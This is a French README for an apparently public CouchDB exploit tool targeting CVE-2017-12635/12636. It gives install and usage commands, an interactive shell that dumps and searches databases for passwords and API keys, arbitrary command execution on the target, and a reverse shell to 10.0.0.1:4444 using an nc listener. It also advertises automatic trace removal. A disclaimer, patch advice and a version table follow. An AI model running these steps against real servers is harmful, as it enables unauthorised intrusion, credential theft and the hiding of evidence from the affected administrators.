
Exploite CouchDB CVE-2017-12635/12636 pour l'élévation de privilèges et l'exécution de code à distance (RCE), puis fournit un shell interactif avec exécution de commandes, exploration de la base de données et shell inversé.
Cet outil exploite deux vulnérabilités critiques dans Apache CouchDB :
| CVE | Description | Gravité |
|---|---|---|
| CVE-2017-12635 | Élévation de privilèges via contournement de l'analyse JSON | 🔴 Critique |
| CVE-2017-12636 | Exécution de code à distance via le Query Server | 🔴 Critique |
curl http://target:5984/
✨ Fonctionnalités
✅ Exploitation automatique - Une seule commande pour tout contrôler
✅ Shell interactif - Interface de commande conviviale
✅ Visionneuse de bases de données - Parcourez toutes les bases et documents
✅ Affichage JSON complet - Voyez tout le contenu des documents
✅ Recherche globale - Recherchez des mots-clés dans toutes les bases de données
✅ Commandes système - Exécutez des commandes arbitraires sur la cible
✅ Reverse shell - Obtenez un shell interactif complet
✅ Historique des commandes - Suivez vos actions
✅ Nettoyage automatique - Supprimez les traces après l'exploitation
✅ Sortie colorée - Facile à lire et à comprendre
📦 Installation Prérequis bash
python3 --version
Cloner et installer bash
git clone https://github.com/darabium/couchdb-exploit.git cd couchdb-exploit
pip install -r requirements.txt
Dépendances txt
requests>=2.25.0 urllib3>=1.26.0
🚀 Utilisation Utilisation de base bash
python3 couchdb-exploit.py -t <TARGET_IP> -p
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
Options de la ligne de commande bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target IP address or hostname -p PORT, --port PORT Target port (default: 5984)
💻 Commandes
Une fois l'exploitation réussie, vous disposez d'un shell interactif : Commande Description Exemple db Affiche toutes les bases de données avec le nombre de documents db view Affiche TOUS les documents d'une base de données (JSON complet) view passwords raw Affiche la réponse brute du serveur raw admin count Compte les documents d'une base de données count users search Recherche un mot-clé dans TOUTES les bases de données search admin exec Exécute une commande système exec whoami reverse Configure un reverse shell reverse 10.0.0.1 4444 history Affiche l'historique des commandes history help Affiche ce menu help exit Quitte avec nettoyage exit 📊 Exemples
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
Visualiser le contenu d'une base de données bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] Setting up reverse shell to 10.0.0.1:4444 [!] Make sure listener is running: nc -lvnp 4444 [?] Continue? (y/n): y [+] Reverse shell triggered!
🖼️ Captures d'écran Exploitation en action
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot Vue de la base de données
https://via.placeholder.com/800x400?text=Database+View Reverse shell
https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ Avertissement
IMPORTANT : Cet outil est destiné uniquement à des fins éducatives et de tests autorisés.
🚫 Ne l'utilisez pas sur des systèmes sans autorisation explicite
🚫 L'auteur n'est pas responsable de toute utilisation abusive
🚫 Utilisez-le uniquement dans des environnements contrôlés ou sur vos propres systèmes
✅ Obtenez toujours une autorisation écrite avant de tester
✅ Suivez les pratiques de divulgation responsable
En utilisant cet outil, vous acceptez ces conditions. 🔐 Conseils de sécurité
Si vous êtes administrateur système :
Mettez à niveau immédiatement vers CouchDB ≥ 1.7.0 ou ≥ 2.1.1
Utilisez un pare-feu pour restreindre l'accès au port 5984
Activez l'authentification et utilisez des mots de passe forts
Surveillez les journaux pour détecter toute activité suspecte
Réalisez des audits de sécurité réguliers de votre infrastructure
Correctif rapide bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # Or latest version
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 Références
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Apache CouchDB Security
Exploit-DB
👤 Auteur
darabium
GitHub: @darabium
Telegram: @darabium
⭐ Soutien
Si vous trouvez ce projet utile :
⭐ Mettez une étoile au dépôt
🐛 Signalez des problèmes
🔧 Contribuez des améliorations
📢 Partagez avec d'autres
📄 Licence
Ce projet est sous licence MIT - consultez le fichier LICENSE pour plus de détails.
Fait avec ❤️ pour la recherche en sécurité
⬆ Retour en haut
| Version | Vulnérable | Version corrigée |
|---|
| Apache CouchDB < 1.7.0 | ✅ Oui | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ Oui | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ Oui | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ Oui | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ Non | - |